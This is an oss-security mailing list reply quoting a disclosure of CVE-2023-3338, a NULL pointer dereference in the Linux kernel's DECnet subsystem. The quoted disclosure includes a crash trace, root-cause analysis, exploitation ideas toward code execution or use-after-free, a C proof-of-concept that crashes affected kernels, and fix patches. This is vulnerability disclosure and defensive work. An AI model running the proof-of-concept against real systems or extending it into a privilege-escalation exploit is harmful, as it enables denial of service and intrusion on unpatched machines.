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Date: Sat, 24 Jun 2023 09:38:31 -0700
From: Peter Philip Pettersson <philip.pettersson@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2023-3338: Linux Kernel NULL Pointer
Dereference in DECnet
On Sat, Jun 24, 2023 at 9:26 AM Ornaghi Davide - Betrusted
<davide.ornaghi@...rusted.it> wrote:
>
> Hi all,
>
>
>
> I'm reporting a Null Pointer Dereference vulnerability that I found while attempting to ping localhost by sending a Hello message to a local DECnet socket:
>
>
>
> ```
> [45620.986136] BUG: kernel NULL pointer dereference, address: 0000000000000000
> [45620.986141] #PF: supervisor read access in kernel mode
> [45620.986143] #PF: error_code(0x0000) - not-present page
> [45620.986146] PGD 0 P4D 0
> [45620.986148] Oops: 0000 [#1] PREEMPT SMP NOPTI
> [45620.986152] CPU: 6 PID: 37997 Comm: test Tainted: G W L 5.19.0-43-generic #44~22.04.1-Ubuntu
> [45620.986155] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020
> [45620.986156] RIP: 0010:dn_nsp_send+0x1c9/0x200 [decnet]
> [45620.986159] Code: 74 3e 8d 48 01 f0 0f b1 4a 40 41 0f 94 c6 45 84 f6 74 eb 48 89 d3 49 89 d7 48 83 e3 fe 48 89 55 90 e8 eb f7 ac c0 48 8b 55 90 <48> 8b 02 48 8b 80 e8 00 00 00 49 89 85 e8 01 00 00 e9 93 fe ff ff
> [45620.986161] RSP: 0018:ffffc90032abfc90 EFLAGS: 00010246
> [45620.986164] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
> [45620.986165] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
> [45620.986166] RBP: ffffc90032abfd00 R08: 0000000000000000 R09: 0000000000000000
> [45620.986167] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8881aca6f9c0
> [45620.986168] R13: ffff888118903cc0 R14: 0000000000000000 R15: 0000000000000000
> [45620.986172] FS: 00007f144e58b740(0000) GS:ffff888339d80000(0000) knlGS:0000000000000000
> [45620.986173] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [45620.986175] CR2: 0000000000000000 CR3: 0000000226154004 CR4: 0000000000770ee0
> [45620.986185] PKRU: 55555554
> [45620.986186] Call Trace:
> [45620.986189] <TASK>
> [45620.986191] dn_nsp_send_conninit+0x207/0x4c0 [decnet]
> [45620.986196] __dn_connect+0x172/0x230 [decnet]
> [45620.986220] dn_connect+0x5c/0xa0 [decnet]
> [45620.986223] __sys_connect_file+0x68/0x80
> [45620.986225] __sys_connect+0xb6/0xe0
> [45620.986227] ? exit_to_user_mode_loop+0xf1/0x140
> [45620.986228] ? exit_to_user_mode_prepare+0x3b/0xd0
> [45620.986230] ? syscall_exit_to_user_mode+0x2a/0x50
> [45620.986232] ? do_syscall_64+0x69/0x90
> [45620.986234] __x64_sys_connect+0x18/0x30
> [45620.986236] do_syscall_64+0x59/0x90
> [45620.986237] ? exit_to_user_mode_prepare+0x3b/0xd0
> [45620.986241] ? syscall_exit_to_user_mode+0x2a/0x50
> [45620.986242] ? do_syscall_64+0x69/0x90
> [45620.986244] entry_SYSCALL_64_after_hwframe+0x63/0xcd
> ```
>
> ## Bug details
>
> This crash is due to the dn_nsp_send function (net/decnet/dn_nsp_out.c) which, first off, causes a Denial of Service by preventing the release of locks such as the current sock's sk->sk_lock, but could also lead to Local Privilege Escalation under certain conditions.
>
> When first starting a connection with a DECnet socket, the connect() handler __dn_connect, while building a route, ends up calling dst_alloc (net/decnet/dn_route.c:1178) which initializes the dst reference counter to 0 instead of 1 (see commit 76371d2e3ad1f84426a30ebcd8c3b9b98f4c724f for an explanation).
> Later on, dn_insert_route is expected to increase the dst refcount, but in reality, it fails to do so, since dst_hold_and_use (net/decnet/dn_route.c:347) actually calls atomic_inc_not_zero on dst->__refcnt, which only works if the refcount is not 0. While the refcount hasn't changed, the dst->_use counter is correctly incremented by dst_use_noref.
>
> ```c
> static inline void dst_hold(struct dst_entry *dst)
> {
> BUILD_BUG_ON(offsetof(struct dst_entry, __refcnt) & 63);
> WARN_ON(atomic_inc_not_zero(&dst->__refcnt) == 0); <===
> }
> ```
>
> Therefore, a warning gets thrown.
> As a consequence, all the following sk_dst_get(sk) calls will return NULL since this function also uses atomic_inc_not_zero, and returns NULL on failure.
> This condition leads to a NPD at net/decnet/dn_nsp_out.c:92:
>
> ```c
> if (dn_route_output_sock(&sk->sk_dst_cache, &fld, sk, 0) == 0) {
> dst = sk_dst_get(sk);
> sk->sk_route_caps = dst->dev->features; <=== dst is NULL
> goto try_again;
> }
> ```
>
> ## Exploitation scenarios
>
> Furthermore, the try_again label redirects the execution to the following code:
>
> ```c
> if (dst) {
> try_again:
> skb_dst_set(skb, dst);
> dst_output(&init_net, skb->sk, skb); <===
> return;
> }
> ```
>
> where the dst->output() function is invoked by dst_output to send the outgoing packet after the routing decision. In an attacker's ideal conditions, where the zero page is mappable, this allows arbitrary code execution.
>
> In more modern systems, the previous scenario can be triggered multiple times to possibly control other reference counters and thus trigger further vulnerabilities such as UAF.
> For instance, one could force the sock->file (from __sys_sendto) refcount to wrap around and eventually free it, though a definitive exploitation technique is still under study.
>
> ## Vulnerable versions
>
> Linux kernels with DECnet support from Linux-4.12-rc7 (commit 76371d2e3ad1f84426a30ebcd8c3b9b98f4c724f) up to Linux-6.0.19.
> The said subsystem has been removed during the 6.1 merge window because deprecated.
>
> ## Proof-of-Concept
>
> The kernel has to be compiled with CONFIG_DECNET=y and should have a DECnet address assigned (echo -n "1.10" > /proc/sys/net/decnet/node_address):
>
> ```c
> int main() {
> int sockfd;
>
> if ((sockfd = socket(AF_DECnet, SOCK_SEQPACKET, DNPROTO_NSP)) == -1) {
> perror("socket");
> exit(-1);
> }
> struct sockaddr_dn sockaddr;
> struct nodeent dp;
> static struct dn_naddr addr;
> char *nodename = "turtle";
> addr.a_addr[0] = 10 & 0xFF;
> addr.a_addr[1] = (1 << 2) | ((10 & 0x300) >> 8);
> sockaddr.sdn_family = AF_DECnet;
> sockaddr.sdn_flags = 0x00;
> sockaddr.sdn_objnum = DNOBJECT_MIRROR;
> sockaddr.sdn_objnamel = 0x00;
>
> dp.n_addr = (unsigned char *)&addr.a_addr;
> dp.n_length = 2;
> dp.n_name = nodename;
> dp.n_addrtype = AF_DECnet;
>
> if (connect(sockfd, (struct sockaddr *)&sockaddr, sizeof(sockaddr)) < 0) {
> perror("socket");
> exit(-1);
> }
> return 0;
> }
> ```
>
> Writing a PoC that returns a root shell on devices without SMAP and vm.mmap_min_addr is also trivial.
Agreed, but you won't find modern systems without these protections
enabled by default. Blocking mmap() from mapping the zero page has
been a thing since Linux 2.6.24. SMAP, while more recent, is also
something modern kernel exploits must bypass in order to have
realistic impact.
>
> ## Bug fix
>
> This was my suggested patch:
>
> ```diff
> --- a/net/decnet/dn_route.c 2023-06-06 15:55:36.615147110 +0200
> +++ b/net/decnet/dn_route.c 2023-06-06 15:56:00.179416949 +0200
> @@ -1175,7 +1175,7 @@ make_route:
> if (dev_out->flags & IFF_LOOPBACK)
> flags |= RTCF_LOCAL;
>
> - rt = dst_alloc(&dn_dst_ops, dev_out, 0, DST_OBSOLETE_NONE, 0);
> + rt = dst_alloc(&dn_dst_ops, dev_out, 1, DST_OBSOLETE_NONE, 0);
> if (rt == NULL)
> goto e_nobufs;
> ```
>
> Also, always make sure that dst isn't NULL after sk_dst_get:
>
> ```diff
> --- a/net/decnet/dn_nsp_out.c 2023-06-06 22:01:57.212802584 +0200
> +++ b/net/decnet/dn_nsp_out.c 2023-06-06 22:04:37.138709847 +0200
> @@ -89,7 +89,9 @@ try_again:
> fld.flowidn_proto = DNPROTO_NSP;
> if (dn_route_output_sock(&sk->sk_dst_cache, &fld, sk, 0) == 0) {
> dst = sk_dst_get(sk);
> - sk->sk_route_caps = dst->dev->features;
> + if (!dst)
> + return;
> + sk->sk_route_caps = dst->dev->features;
> goto try_again;
> }
> ```
>
> The DECnet subsystem has been officially removed from all longterm and stable kernel series, starting from 4.14.319, 4.19.287, 5.4.248, 5.10.185 and 5.15.118.
>
> Best regards,
>
> Davide Ornaghi
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